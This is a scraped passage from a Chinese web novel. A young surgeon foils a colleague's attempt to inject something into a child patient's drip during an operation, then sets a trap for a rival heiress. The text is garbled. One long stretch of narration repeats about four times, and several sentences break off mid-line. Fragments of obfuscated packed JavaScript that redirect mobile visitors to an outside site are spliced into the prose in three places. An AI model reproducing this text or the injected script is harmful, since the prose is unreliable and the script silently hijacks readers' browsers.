一次是救她的命一次是救她的人生。 她对夏灼灼毫无芥蒂了并且把她当成了最好的朋友。 两个人聊了很多包括未来的规划。 夏灼灼说:“你哥哥不如你。” 杜馨月虽然是个养尊处优的大小姐但刚才一番聊天让她看出来杜馨月在商业的眼光上是很独到精准的。 “他从小就不如我。”杜馨月说:“但是他是个男的就因为他是个男的爸妈以后的东西大部分都要给他继承。” 夏灼灼沉默片刻问:“这些话是谁跟你说的?杜先生和杜太太亲口说的?” “不是。”杜馨月说:“我哥说的。” “所以你潜移默化觉得以后他们肯定让你哥继承家业。” 杜馨月眼皮一跳看向她问:“你这话是什么意思?你是说爸妈不是这么想的?” “他们是不是这么想你得亲口问。亲生儿女之间有时候把话说开比猜来猜去更好。” 说到这夏灼灼又说:“你受伤后昏迷那段时间你爸妈昼夜不停照顾你。你妈妈从来没干过什么活可她不用护工照顾你她怕他们不够尽心。他们很在意你我不觉得他们是重男轻女的人。” 杜馨月陷入了良久的沉默。 或许她真 的被杜浩然的话带偏了。 因为杜浩然的话,她主动放弃了很多机会。 因为觉得自己再努力,东西还是会落到杜浩然手里,所以她不想给他人做嫁衣。 她想,她应该把这些机会再拿回来。 “谢谢你,灼灼。”杜馨月说。 夏灼灼微微一笑:“你只是当局者迷。” 就在这时,夏灼灼的手机铃声响了。 是冯淮安名义上的主治医生,谢主任,让她过去做术前准备。 ——谢医生虽然是主治医生,但手术由夏灼灼来做。 这是院长和冯家人共同的决定。 但这个谢医生有些不服气,打电话催促的语气也带着明显的不善。 夏灼灼仍然心平气和地说:“我马上过来。” 病房里很安静,所以杜馨月听到了那个谢主任说的话。 她是个护犊的人,一旦认定了夏灼灼是自己人之后,就不允许别人欺负她。 杜馨月紧皱着眉头说:“这个谢主任是怎么回事?你又不是他手底下的人,不就是没有提前过去,又没有迟到,他凭什么跟你发这么大的火?” 夏灼灼前两天已经因为冯淮安的手术,提前跟这个谢主任打过交道。 他对自己,满嘴都是**味。 她摇了摇头,说自己不在意。 “你怎么什么都不在意?要是他因为不服你,在手术的时候动手脚怎么办?” 这话让夏灼灼的眸子骤然抬起。 片刻后,她突然说:“馨月,你提醒了我。” 杜馨月满头雾水。 “我提醒你什么了?” “没什么,我先走了。” 夏灼灼离开后,快速给谷仔打了个电话,之后才进电梯。 她先去看了冯淮安。 很快她又接到谷仔的电话,便快速去了一趟心外科,这才不急不躁地去了儿科办公室。 其实约定时间是十点,谢主任九点半就打电话说她不重视手术,不知道早点过去。 夏灼灼不跟他斗嘴皮子上的气,到了办公室之后,心平气和地道歉。 “不好意思,我临时看个朋友。” 她没有迟到,却还主动介绍,谢主任仍然眼睛不是眼睛,鼻子不是鼻子的。 “朋友什么时候都能看,手术却是说开始就开始的,我希望你把患者的安危放在心上。” 夏灼灼依旧语气平静。 “安安叫我一声姐姐,对我来说,他不仅是 患者,还是我弟弟,我又怎么会不把他的安危放在心上? “你…… “好了,好了,都别吵了……有人出来打圆场。 夏灼灼本来就没打算跟谢主任吵架,拉开椅子坐了下去。 谢主任还想说什么,可就在这时,院长过来了。 他只好把话咽了回去。 本来他是想借着激怒夏灼灼,把人直接气走的,奈何这个小姑娘比他想象中沉稳很多。 现在院长又来了,他只能用另一个计划了。 谢主任暂时按下心中的焦灼。 “各位……院长清了清嗓子,说明来意。 冯淮安不是一般的患者,他希望大家都能拿出最好的状态参与手术。 众人点头。 这其实是个很小的手术,但院长亲临,足以证明这位小患者的重要性。 院长又点了夏灼灼和谢主任的名字,叫他们手术过程中要互相帮助,一切以完成手术为最重心。 两人都点了头。 院长很快走了。 手术仍旧是夏灼灼主刀,谢主任为副手。 没多久,手术准备开始了。 夏灼灼找了个空档,跟谢主任单独说话。 “谢主任,您不服我,我能理解。但患者要是出问题了,咱们谁也担不起这个责任。我希望你能放下个人情感,安心做手术。 谢主任眼睛一瞪。 “你胡言乱语些什么?我有什么个人情感不能放下,会影响手术的?你要是觉得自己担不起这个责任,那就现在提出申请,不要当主刀。 夏灼灼深深看了眼谢主任,仿佛能透过他的眼睛看到他的灵魂深处。 谢主任莫名有些心虚,避开跟夏灼灼的对视。 只听夏灼灼说:“我刚才又去看了一下安安,他告诉我,你跟他说,我会搞砸手术,以后他就再也不能说话了,让他提出换医生。 谢主任的后背顿时惊出了一身的冷汗。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351717|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那个小孩子,竟然把他说的话告诉夏灼灼了。 “你、你别胡说,我没有跟他说过那样的话! “你承不承认无所谓,我只希望,你不要做出让自己后悔的事。 说完,夏灼灼就转身准备术前消毒去了。 谢主任看着夏灼灼的背影,心下难免慌张。 难道她察觉出了什么? 不应该的…… 他做得很缜密,而且他跟夏灼灼完全没有交集,她不会猜到自己准 备做什么的。 很快手术开始。 这种小手术,最多不会超过二十分钟。 但冯淮安之前脑部受过伤,很多事情都要更小心。 手术做到中间,夏灼灼的余光,瞥见谢主任悄无声息往后退开了几步。 作为副手,他不该离开半步他的位置。 夏灼灼眉头轻拧。 她给过谢主任机会的,只因为医生这一行,做到主任已经很不容易,而且谢主任的确是个医术不错的儿科医生。 所以她手术前还特意敲打他。 却还是…… 夏灼灼在心里叹了口气,抬眼,看向另一侧的一个助手。 那助手,是夏灼灼从心外科陈主任那里借来的。 上次给赵缇做手术,陈主任很钦佩她,两个人偶尔会有联系。 所以这次借人,陈主任立刻就答应了。 那助手察觉到她的视线,迈步就朝谢主任走过去。 “谢主任!你干什么?!” 谢主任的手一抖,拿在手里的针管掉到了地上。 他连忙要去捡,却被助手快了一步,针管被助手拿在手里。 “抓住他,带出去。”夏灼灼下命令。 “是!”助手一应声,抓住谢主任的胳膊就往外拽。 “干什么?!你放开我!” 谢主任想要挣扎,可夏灼灼挑选的这个助手人高马大,手臂力量很强,谢主任根本挣脱不了。 手术室里的人都瞠目结舌,不知道发生了什么。 夏灼灼沉声道:“不要被影响,继续做手术。” “是……” 其他人骤然回神,他们都是专业的人,手术室里发生的插曲并没有影响到他们。 十分钟后,手术结束了。 一切顺利。 以后冯淮安就能口齿清楚地说话了。 夏灼灼走出手术室,联系了院长还有冯昭阳。 两个人看着被抓起来的谢主任,都是满脸的错愕。 “院长!快救我!这个女人是个疯子,叫人把我抓起来不知道想干什么……” 院长看了谢主任一眼,询问夏灼灼:“夏神医,这是做什么?” 夏灼灼把谢主任之前掉地上的针管拿在手里。 “他打算把里面的东西注射进安安的点滴里。” 院长惊愕,冯昭阳更是差点跳起来。 “你这毒医!为什么要害我儿子!” “谢主任,你为什么要这么做?” “我没有!”谢主任矢口否认:“她冤枉我!她看我不顺眼,手术开始之前她就跟我吵架。” 又说:“冯先生,你要相信我,我没有动机害人!” 院长面色惊疑,不知道谁说的是真的。 但冯淮安却很相信夏灼灼。 “夏小姐,这是怎么一回事?”他没看谢主任,只问夏灼灼。 第194章 她怕了 夏灼灼让冯淮安借一步说话。 两人走开几米,夏灼灼才开口。 “他的动机就是他儿子,他儿子在孙峥跃手底下工作。” “他为了帮儿子升官,听了孙市的话干扰安安的手术。” “一旦手术失败,你必定会记恨上我。” 冯淮安额头上满是冷汗,心里全是后怕。 要不是夏灼灼机警察觉到了,那针管里不知道什么东西的液体,就进入他儿子的身体了。 “夏小姐……多亏了你。” 夏灼灼解释说:“一开始我也没多想。我只是以为,他不服我年纪轻却能越过他当主刀医生才多次刁难我。所以我并没有放在心上。但我去看望住院的一位朋友的时候,她的话让我对谢主任起了防备心。” 这个朋友,就是杜馨月。 她当时的那句“要是他因为不服你,在手术的时候动手脚怎么办”,才让夏灼灼开始重视这个谢主任,让谷仔去查谢主任的底细。 然后就查到了谢主任的儿子是孙峥跃的人。 这一发现让她警铃大作,立刻就去找了陈主任帮忙,选中一个人,跟她一起进手术室,时刻盯着谢主任的一举一动。 “这个谢主任,不仅想讨好孙市那边,也想讨好你这边。一开始的时候,他并没打算对安安下手,只想挤掉我,自己做主刀医生,让您欠他一个人情。对孙市那边,他也有交代,我没做手术,对你来说就没有功劳。只是他后来没挤走我,才打算下毒手。” “混账东西!” 孙峥跃大骂了一通,再次对夏灼灼道谢。 夏灼灼不独揽功劳。 “这件事,陈主任和我朋友都帮了我大忙。” “我会去谢他们。” 夏灼灼点头,问冯邵阳:“这人……要怎么处理?” 冯邵阳眼底浮现凌厉的光。 “身为医生,却想害患者的命,这种人,必须得付出代价!至于他的儿子,他这辈子都别想再从政了。” 夏灼灼点头。 他们怎么处理,有冯邵阳,不需要她追问太多。 她只说:“这件事背后不一定只是孙峥跃,可能孙峥跃的身后还有人。” 冯邵阳攥紧拳头说:“一定是窦家的下的手!我严查监狱,让窦斯礼没有好日子过,窦家人就报复上门了。” 夏灼灼却是摇头。 “我觉得,这次可能是冲我来的。” “冲您?” “只是猜测……” 害死冯淮安,对于窦家来说好处不多。 对她来说,是大大的坏处。 或许也不一定是窦家,可能是孙峥跃想对付她。 这都说不一定。 但接下来做事,她得更小心了。 她已经被盯上了。 夏灼灼没再多说,把谢主任交给冯邵阳处理后,自己便去看了冯淮安。 小孩子还没从麻醉中醒过来。 冯太太握着冯淮安的手,看到她进来,连忙起身道谢。 “谢谢你,灼灼,我又欠你一次了。” “您别这么说,手术很小,换成其他任何一个主刀医生都能做好手术。” “不是的。这孩子莫名只信任你。之前我就想早点带他手术了,他不肯,直到我说你会帮他做手术,他才同意。” 年纪小的孩子,自己愿意配合手术也很重要。 别的医生,冯淮安不一定会配合。 夏灼灼弯唇笑笑。 “那看来我跟安安很有缘分。” 很快冯邵阳回来了。 他没提起手术室里的事情,免得自己的太太多担心。 很快冯淮安醒过来了。 他还不能说话,但一双眼睛很清澈明亮。 夏灼灼这才安心离开。 却在医院门口碰到了司慎行。 “我听冯邵阳说了,手术差点出事。” 夏灼灼点头,道:“现在没事了。” “怕吗?”司慎行问她。 夏灼灼如实回答。 “怕。不过是后怕。安安是无辜的,万一他真出了什么事,不说我们跟冯家的关系土崩瓦解,就说安安……我会自责一辈子。” 司慎行紧紧牵住她的手。 “我会帮你去查,背后的主谋到底是谁。” 这件事的确需要司慎行帮忙,这个节骨眼,暗部不宜出面,所以夏灼灼没拒绝。 两个人一起吃了饭。 吃到一半,司慎行接到了一个电话。 他眉头皱紧,说了句“知道了”,便把电话挂了。 夏灼灼正要询问,她的手机铃声也响了起来。 听完电话那头的人说完,夏灼灼神色舒展。 “发生什么好事了?”司慎行问她。 夏灼灼反问:“你那边发生什么事了?你眉心都可以夹死一只苍蝇了。” 司慎行却没回答她的问题,只是问:“到底发生什么好事了?” 夏灼灼耸耸肩, 说:“你不告诉我,我也不告诉你。” “……”司慎行却还是一反常态地沉默。 夏灼灼明白他是不想说,便没有追问,只道:“窦家有一个儿子,关在沪城监狱这边。他们开始走流程,准备把人放出来了。” 司慎行看她一眼。 “这算什么好事?” “当然算。”夏灼灼说:“关着的人,叫窦斯礼,是个十足的纨绔,把他放出来,只会坏窦家的事。” 提到这个名字,窦斯礼想起来了。 “那家伙确实是个混蛋。他出来,能把水搅得更浑。” 说着,又问:“你已经想好主意怎么用这个人了?” “嗯。不过暂时保密。” “那就期待你的好戏了。” 吃完饭,司慎行把她送回夏家。 夏灼灼下车的时候,才注意到司慎行的胸口别着那枚她送的胸针。 莫名的,心情变得更好了。 刚回到家,杜馨月打过来电话。 她以为杜馨月要问那个医生的事,没成想杜馨月开口就说:“上次你拜托我的事情已经办妥了,许星耀进炎享娱乐了。” 夏灼灼眉头一挑,说:“辛苦你了。” “我们之间,说什么辛苦?我的命都是你救的。” “那倒是。” “……你还真是一点都不客气。” “我们之间,需要客气吗?” 杜馨月一噎:“算了,嘴上我说不过你。” 夏灼灼笑了笑,主动跟她说了谢主任的事。 杜馨月语气冷沉。 “竟然拿小孩子的命来博自己儿子的前途?他还算是个医生吗?” “他现在已经应该被开除了,不是医生了。” “那就好,不然以后谁还敢带孩子找他看病?” 就在这时,夏灼灼卧室的门被敲响。 她跟杜馨月说了声,便挂断电话,朝门口说:“进来。” 房门很快被打开,进门的人是夏怀征。 他已经不需要靠工具走路,只是行走间仍看得出来有些吃力。 “大哥,你怎么来了?快坐。” “不用……”夏怀征知道她事忙,直接说明来意:“有个黑客比赛……我想去参加,但不知道方不方便……” “当然方便。”夏灼灼说:“只不过,你最好以别的身份参加比赛,不要用真名。” 夏怀征点头。 “这好说,黑客比赛本来就可以用外 号。” 夏灼灼很欣慰。 之前哪怕是碰一下电脑,对夏怀征来说,都是一座难以跨越的大山,现在却主动提出要去参加比赛。 这段时间进步的,不只是夏怀征的身体状况,还有他的精神力量。 她问夏怀征:“这个黑客比赛含金量怎么样?” “很高。”夏怀征道:“如果赢了,可以进入华夏数据库,成为官方的电脑技术人员。” “那太好了。”夏灼灼说着,又补了一句:“你很快没碰这个,如果没赢,就当是一次体验,下次再有这样的比赛再去参加就好。” 夏夏怀征听懂她的言外之意,笑了笑,说:“小七,放心吧,就算真输了,我也不会被打倒,现在已经没有什么能打倒我了。” 夏灼灼用力点头。 “嗯!” 她彻底放心了。 夏怀征这只雄鹰,已经养成了。 夏怀征离开后,夏灼灼又叫了许姨过来问司珏羽那边的情况。 许姨很纳闷地说:“这阵子她都没有联系我,是不是察觉到什么了?” 夏灼灼很笃定地摇头。 “不可能。” 司珏羽两个心腹,因为骚扰杜馨月,被司慎行“处理”掉了。 加上还有霍刚这个眼线一直盯着司珏羽。 她没可能打听到许姨已经倒戈回来了。 “那她怎么都没联系我?” “大概是怕了。” “怕什么?” 当然是怕司慎行。 她已经从阿麦那里听说,司慎行因为她手下骚扰过杜馨月的事情,敲打过司珏羽。 所以她暂时不敢有什么动作。 但这对夏灼灼来说并不是什么好事。 毒蛇只有揪出来打死,站在明处的人才会安全。 如果一直任由她躲在洞里,那才需要担心对方冷不丁就会跳出来咬你一口。 不过这些事她不需要跟许姨解释。 “您先等着,她很快就会联系您。” “好。” 很快屋子里重归安静。 夏灼灼坐在房间里思索了一会儿。 司珏羽只是暂时害怕,没有彻底放弃。 因为如果彻底放弃了,她就不会还留在沪城。 更不会暗示许星耀跳槽到炎享。 许星耀也算是司享一张王牌,这么容易就跳到了炎享,背后不可能没有司珏羽的授意。 司珏羽只是还在犹豫要不要铤而走险。 但夏灼灼很快想到了一个好主意。 她打电话给蚊子,让他安排一个庆功宴——什么由头都行。 但必须让许星耀和她三哥都出席,然后再邀请一些沪城的少爷和小姐。 号。” 夏灼灼很欣慰。 之前哪怕是碰一下电脑,对夏怀征来说,都是一座难以跨越的大山,现在却主动提出要去参加比赛。 这段时间进步的,不只是夏怀征的身体状况,还有他的精神力量。 她问夏怀征:“这个黑客比赛含金量怎么样?” “很高。”夏怀征道:“如果赢了,可以进入华夏数据库,成为官方的电脑技术人员。” “那太好了。”夏灼灼说着,又补了一句:“你很快没碰这个,如果没赢,就当是一次体验,下次再有这样的比赛再去参加就好。” 夏夏怀征听懂她的言外之意,笑了笑,说:“小七,放心吧,就算真输了,我也不会被打倒,现在已经没有什么能打倒我了。” 夏灼灼用力点头。 “嗯!” 她彻底放心了。 夏怀征这只雄鹰,已经养成了。 夏怀征离开后,夏灼灼又叫了许姨过来问司珏羽那边的情况。 许姨很纳闷地说:“这阵子她都没有联系我,是不是察觉到什么了?” 夏灼灼很笃定地摇头。 “不可能。” 司珏羽两个心腹,因为骚扰杜馨月,被司慎行“处理”掉了。 加上还有霍刚这个眼线一直盯着司珏羽。 她没可能打听到许姨已经倒戈回来了。 “那她怎么都没联系我?” “大概是怕了。” “怕什么?” 当然是怕司慎行。 她已经从阿麦那里听说,司慎行因为她手下骚扰过杜馨月的事情,敲打过司珏羽。 所以她暂时不敢有什么动作。 但这对夏灼灼来说并不是什么好事。 毒蛇只有揪出来打死,站在明处的人才会安全。 如果一直任由她躲在洞里,那才需要担心对方冷不丁就会跳出来咬你一口。 不过这些事她不需要跟许姨解释。 “您先等着,她很快就会联系您。” “好。” 很快屋子里重归安静。 夏灼灼坐在房间里思索了一会儿。 司珏羽只是暂时害怕,没有彻底放弃。 因为如果彻底放弃了,她就不会还留在沪城。 更不会暗示许星耀跳槽到炎享。 许星耀也算是司享一张王牌,这么容易就跳到了炎享,背后不可能没有司珏羽的授意。 司珏羽只是还在犹豫要不要铤而走险。 但夏灼灼很快想到了一个好主意。 她打电话给蚊子,让他安排一个庆功宴——什么由头都行。 但必须让许星耀和她三哥都出席,然后再邀请一些沪城的少爷和小姐。 号。” 夏灼灼很欣慰。 之前哪怕是碰一下电脑,对夏怀征来说,都是一座难以跨越的大山,现在却主动提出要去参加比赛。 这段时间进步的,不只是夏怀征的身体状况,还有他的精神力量。 她问夏怀征:“这个黑客比赛含金量怎么样?” “很高。”夏怀征道:“如果赢了,可以进入华夏数据库,成为官方的电脑技术人员。” “那太好了。”夏灼灼说着,又补了一句:“你很快没碰这个,如果没赢,就当是一次体验,下次再有这样的比赛再去参加就好。” 夏夏怀征听懂她的言外之意,笑了笑,说:“小七,放心吧,就算真输了,我也不会被打倒,现在已经没有什么能打倒我了。” 夏灼灼用力点头。 “嗯!” 她彻底放心了。 夏怀征这只雄鹰,已经养成了。 夏怀征离开后,夏灼灼又叫了许姨过来问司珏羽那边的情况。 许姨很纳闷地说:“这阵子她都没有联系我,是不是察觉到什么了?” 夏灼灼很笃定地摇头。 “不可能。” 司珏羽两个心腹,因为骚扰杜馨月,被司慎行“处理”掉了。 加上还有霍刚这个眼线一直盯着司珏羽。 她没可能打听到许姨已经倒戈回来了。 “那她怎么都没联系我?” “大概是怕了。” “怕什么?” 当然是怕司慎行。 她已经从阿麦那里听说,司慎行因为她手下骚扰过杜馨月的事情,敲打过司珏羽。 所以她暂时不敢有什么动作。 但这对夏灼灼来说并不是什么好事。 毒蛇只有揪出来打死,站在明处的人才会安全。 如果一直任由她躲在洞里,那才需要担心对方冷不丁就会跳出来咬你一口。 不过这些事她不需要跟许姨解释。 “您先等着,她很快就会联系您。” “好。” 很快屋子里重归安静。 夏灼灼坐在房间里思索了一会儿。 司珏羽只是暂时害怕,没有彻底放弃。 因为如果彻底放弃了,她就不会还留在沪城。 更不会暗示许星耀跳槽到炎享。 许星耀也算是司享一张王牌,这么容易就跳到了炎享,背后不可能没有司珏羽的授意。 司珏羽只是还在犹豫要不要铤而走险。 但夏灼灼很快想到了一个好主意。 她打电话给蚊子,让他安排一个庆功宴——什么由头都行。 但必须让许星耀和她三哥都出席,然后再邀请一些沪城的少爷和小姐。 号。” 夏灼灼很欣慰。 之前哪怕是碰一下电脑,对夏怀征来说,都是一座难以跨越的大山,现在却主动提出要去参加比赛。 这段时间进步的,不只是夏怀征的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但夏灼灼很快想到了一个好主意。 她打电话给蚊子,让他安排一个庆功宴——什么由头都行。 但必须让许星耀和她三哥都出席,然后再邀请一些沪城的少爷和小姐。 号。” 夏灼灼很欣慰。 之前哪怕是碰一下电脑,对夏怀征来说,都是一座难以跨越的大山,现在却主动提出要去参加比赛。 这段时间进步的,不只是夏怀征的身体状况,还有他的精神力量。 她问夏怀征:“这个黑客比赛含金量怎么样?” “很高。”夏怀征道:“如果赢了,可以进入华夏数据库,成为官方的电脑技术人员。” “那太好了。”夏灼灼说着,又补了一句:“你很快没碰这个,如果没赢,就当是一次体验,下次再有这样的比赛再去参加就好。” 夏夏怀征听懂她的言外之意,笑了笑,说:“小七,放心吧,就算真输了,我也不会被打倒,现在已经没有什么能打倒我了。” 夏灼灼用力点头。 “嗯!” 她彻底放心了。 夏怀征这只雄鹰,已经养成了。 夏怀征离开后,夏灼灼又叫了许姨过来问司珏羽那边的情况。 许姨很纳闷地说:“这阵子她都没有联系我,是不是察觉到什么了?” 夏灼灼很笃定地摇头。 “不可能。” 司珏羽两个心腹,因为骚扰杜馨月,被司慎行“处理”掉了。 加上还有霍刚这个眼线一直盯着司珏羽。 她没可能打听到许姨已经倒戈回来了。 “那她怎么都没联系我?” “大概是怕了。” “怕什么?” 当然是怕司慎行。 她已经从阿麦那里听说,司慎行因为她手下骚扰过杜馨月的事情,敲打过司珏羽。 所以她暂时不敢有什么动作。 但这对夏灼灼来说并不是什么好事。 毒蛇只有揪出来打死,站在明处的人才会安全。 如果一直任由她躲在洞里,那才需要担心对方冷不丁就会跳出来咬你一口。 不过这些事她不需要跟许姨解释。 “您先等着,她很快就会联系您。” “好。” 很快屋子里重归安静。 夏灼灼坐在房间里思索了一会儿。 司珏羽只是暂时害怕,没有彻底放弃。 因为如果彻底放弃了,她就不会还留在沪城。 更不会暗示许星耀跳槽到炎享。 许星耀也算是司享一张王牌,这么容易就跳到了炎享,背后不可能没有司珏羽的授意。 司珏羽只是还在犹豫要不要铤而走险。 但夏灼灼很快想到了一个好主意。 她打电话给蚊子,让他安排一个庆功宴——什么由头都行。 但必须让许星耀和她三哥都出席,然后再邀请一些沪城的少爷和小姐。 第195章 嫉妒的陷阱 蚊子听完,很快想到了一个由头。 “上次司享拍了个公益片,反响不错,我们炎享还没拍过这样的。我们也可以拍一个。不过不止让艺人参加,还邀请高门少爷和小姐参加,一起拍一个公益短视频。 夏灼灼点头。 现在有钱人都喜欢做公益。 一是做慈善可以抵税,二也是图一个好名声。 那些少爷小姐有这样的机会露面,肯定也都喜欢。 “那你去邀请,邀请函记得送到司珏羽那里一份。 “可她万一不参加呢?毕竟是咱们炎享的活动,而她是司享的大小姐。 夏灼灼笑了笑,说:“放心,她一开始会拒绝,但之后一定会去参加的。 蚊子应“是,着手去安排了。 第二天邀请函就送到司珏羽手里,果然跟夏灼灼说的那样,司珏羽直接拒绝了。 夏灼灼在家里等了几天,选了个好日子,穿戴整齐,出门去湖畔大饭店。 司珏羽从京都来沪城之后,一直住在这里。 她不是一个人去,还带上了秋雨。 出门前,她特意叮嘱秋雨:“打扮漂亮点,最好漂亮到让别的女人看一眼就嫉妒你。 秋雨笑了下说:“老大,你这不是挖苦我吗?我再打扮,哪里美得过你? 夏灼灼正在对着镜子梳头。 听到手机免提传出来的秋雨的话,她不由得问了一句:“我很漂亮吗? 秋雨也没想到她会问这么一句。 夏灼灼对自己的外貌一直是不太关注的。 甚至,她经常会刻意无视自己的容貌。 她觉得,太漂亮,反而会引来不必要的麻烦。 今天却突然问了这么一句…… 秋雨沉默两秒,问:“老大,你是不是有喜欢的人了? 夏灼灼的心跳快了一拍,语气仍是很平静。 “怎么突然这么问? “一个人,只有在有了心上人之后,才会格外关注自己的外貌。老大,你说实话,是不是有喜欢的人了? 夏灼灼看着镜子里的自己,咬了下唇,没否认。 “可能吧…… 秋雨顿时像是被一个重磅**炸到了。 “竟然是真的?是谁啊?哪个小子命这么好? “……没谁,以后再跟你说吧。你先打扮起来。 “行。秋雨挂断了电话。 她是个憋不住话的人,不过也知道事 情的轻重。 因而,她只对谷仔说了。 “老大有喜欢的人了! “不可能。谷仔想也不想地否定:“你这脑子偶尔也装点正事,别一点小事就捕风捉影的,还敢八卦老大,回头小心老大罚你。 老大自从在宗域那里受过情伤之后,别说喜欢男人了,她有一阵甚至开始无差别厌男,连他都被波及到过。 有喜欢的人? 除非是女人,否则不可能。 秋雨蹙眉。 “我没捕风捉影,这是老大自己承认的。 “她逗你玩呢。谷仔想也不想地说。 秋雨突然瞪圆了眼睛,骨碌碌地打量着谷仔。 谷仔被她看得后背发毛。 “看**什么! 秋雨直直地盯着谷仔的眼睛,突然问:“老实说,你是不是喜欢老大? 谷仔眼睛一瞪。 “胡说什么!? 夏灼灼在他心里,是老大,是兄弟,是战友,但绝不会是恋人。 他们一路相互扶持走过来,如果产生爱情,反而轻视了他们之间的感情。 他们是比爱情更高一级的,家人的感情。 更何况他喜欢的人,另有人在。 秋雨转动着眼珠子,做出自己的分析。 “我知道老大有喜欢的人,第一反应是惊喜,很为她高兴。但是你,你一听说,想也不想地否认了。你不是喜欢老大,是什么? “是我了解她。她不会再轻易打开自己的心——在爱情方面。 “你真不喜欢老大? “喜欢,家人之间的喜欢。 “好吧,反正我说的是实话,老大自己亲口承认的。至于你……你也老大不小了,怎么不考虑一下自己的感情生活? “因为…… 谷仔并没继续说,只是眼睛一瞬不瞬地盯着秋雨。 秋雨莫名有点脸热。 “你看**什么? “没什么,觉得丑而已。 “? “你化妆,不好看。 不化妆,反而更好看。 清水出芙蓉,形容的就是秋雨。 秋雨却没听出来他的言外之意,当即被气的黑了脸,扭头就走了。 谷仔看着秋雨的背影,很轻地叹了一口气。 他喜欢的人,是秋雨。 只可惜这丫头不开窍。 而他,自认也配不上秋雨。 他一个孤儿院爬出来的孤儿,哪里配得上含着金汤匙出生的秋雨呢? 他只能把自己的感情压抑在心底。 就让秋雨一直把他当成哥哥好了。 然而那边的秋雨在坐上夏灼灼的车子之后,却是频频出神。 她在想谷仔看自己的那一个眼神。 两个人平时也经常打闹,可是今天,她见谷仔盯着自己看,竟然有点脸热…… 真是奇怪了。 平时两个人就算是喝酒喝到深夜,只有他们孤男寡女,她也没有任何异样的感觉。 今天这是怎么了? “小雨。小雨? 夏灼灼喊了秋雨两声,秋雨才回过神。 “怎么了,老大? 夏灼灼眉头轻蹙。 “你怎么了?如果状态不好,我换个人跟我去。 “不用……秋雨连忙道歉:“我刚才在出神,不过之后不会了。你再说一遍,我认真听。 夏灼灼也没生气,只是担心秋雨的状态。 她把安排重新又说了一遍后,叮嘱道:“别说漏嘴,又叫我老大了。 “知道了,灼、灼、姐~ 她拖长了音,故意夹着嗓子,声音嗲嗲的,听得夏灼灼想揍她。 不过转念一想,她说:“就这个腔调,就这么夹着说话。 秋雨面色一窘。 “那我先练练,怕一会儿嗓子夹冒烟了。 夏灼灼哈哈一笑,又问起她刚才为什么出神。 秋雨的脸有一点红。 “我说了,你可别笑我。 “保证不笑你。 秋雨这才敢说。 得知是因为谷仔,夏灼灼放心了一大半。 谷仔是个很好的人,唯独有一点自卑。 夏灼灼早就看出来,谷仔对秋雨有点意思,但谷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358050|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔自己瞒的很好,秋雨不知道,谷仔也不曾跟她说过,她也就当不知道。 现在秋雨自己对谷仔产生了异样的感情,或许……他们能从朋友更上一层楼。 不过夏灼灼不打算过多插手。 感情的事情是很难说清楚,有时候外人插手了,反而会弄巧成拙。 但如果他们需要她帮忙,她会义不容辞。 “你自己先想清楚。 夏灼灼话不多说,只说了这么一句。 秋雨点头。 不过她很快没纠结这件事了,因为湖畔大饭店到了。 比起自己都朦朦胧胧的心思, 老大的事情更重要。 哦不,她应该改口叫“灼灼姐”,可不能叫错了。 两个人一前一后下车。 酒店的门童接过夏灼灼手里的钥匙,替她们把车子停进车位。 夏灼灼抬头,看了眼湖畔大饭店的招牌。 这是S集团的产业,果然做得处处细致。 司珏羽这阵子住在这里肯定很舒服。 不像她,司珏羽不动手,她就得一直替他三哥提心吊胆。 夏灼灼提前给司慎行打了电话,所以两人一进酒店大堂,大堂经理就热情地迎上来了。 “夏小姐,快请。我在茶室给两位泡了茶,顺便聊一聊您的想法。” 夏灼灼点头,带着秋雨往茶室慢慢走。 她在计算时间。 就在这时,电梯“叮咚”一声,司珏羽下楼了。 她的脸色不太好看,身后跟着霍刚。 她嘴里叽里咕噜在抱怨什么,霍刚只当没听到。 可就在这时,她突然看到了前面不远处的两个女人。 其中一个正是夏灼灼, 哪怕这是司珏羽第一次亲眼看到夏灼灼,还是一眼就认出了她。 她早已经在夏灼灼的资料里见过她的照片了——**比照片上还美。 如果不是确定夏灼灼是夏怀乐的亲妹妹,她看到夏灼灼的美丽,心里会非常不舒服。 不过既然是亲妹妹,就没有嫉妒这一说了。 只有担忧。 她人还在京都的时候,因为打了夏怀乐的电话,电话是夏灼灼接的,她不知道夏灼灼的身份,因此语气很不好,得罪了她。 也不知道这人记不记仇。 如果不记仇,她以后自然会给夏灼灼好处。 如果记仇,那哪怕是夏怀乐的亲妹妹,她也容不得她。 只见夏灼灼牵着她身边女孩的手,旁若无人地说:“你放心,我三哥肯定喜欢你。晚上吃饭,我保管他见了你就心跳加速。” 声音不大不小,却刚刚好够秋雨听到。 她的警惕瞬间就冒了出来,目光直直地看向夏灼灼身侧的女孩。 刚才她的注意力一直放在夏灼灼身上,因而忽视了夏灼灼旁边的人。 现在仔细打量,看清楚了女孩的脸。 秋雨长了一张小圆脸,眼睛也是又圆又大,比夏灼灼的眼睛还大一圈。 眼珠子乌黑清澈,脸上涂了淡淡一层粉底,有着看起来就气血很足的红润肌肤,看起来稚嫩可爱。 她可能不常化妆,化的妆反而把她的可爱掩盖了一分。 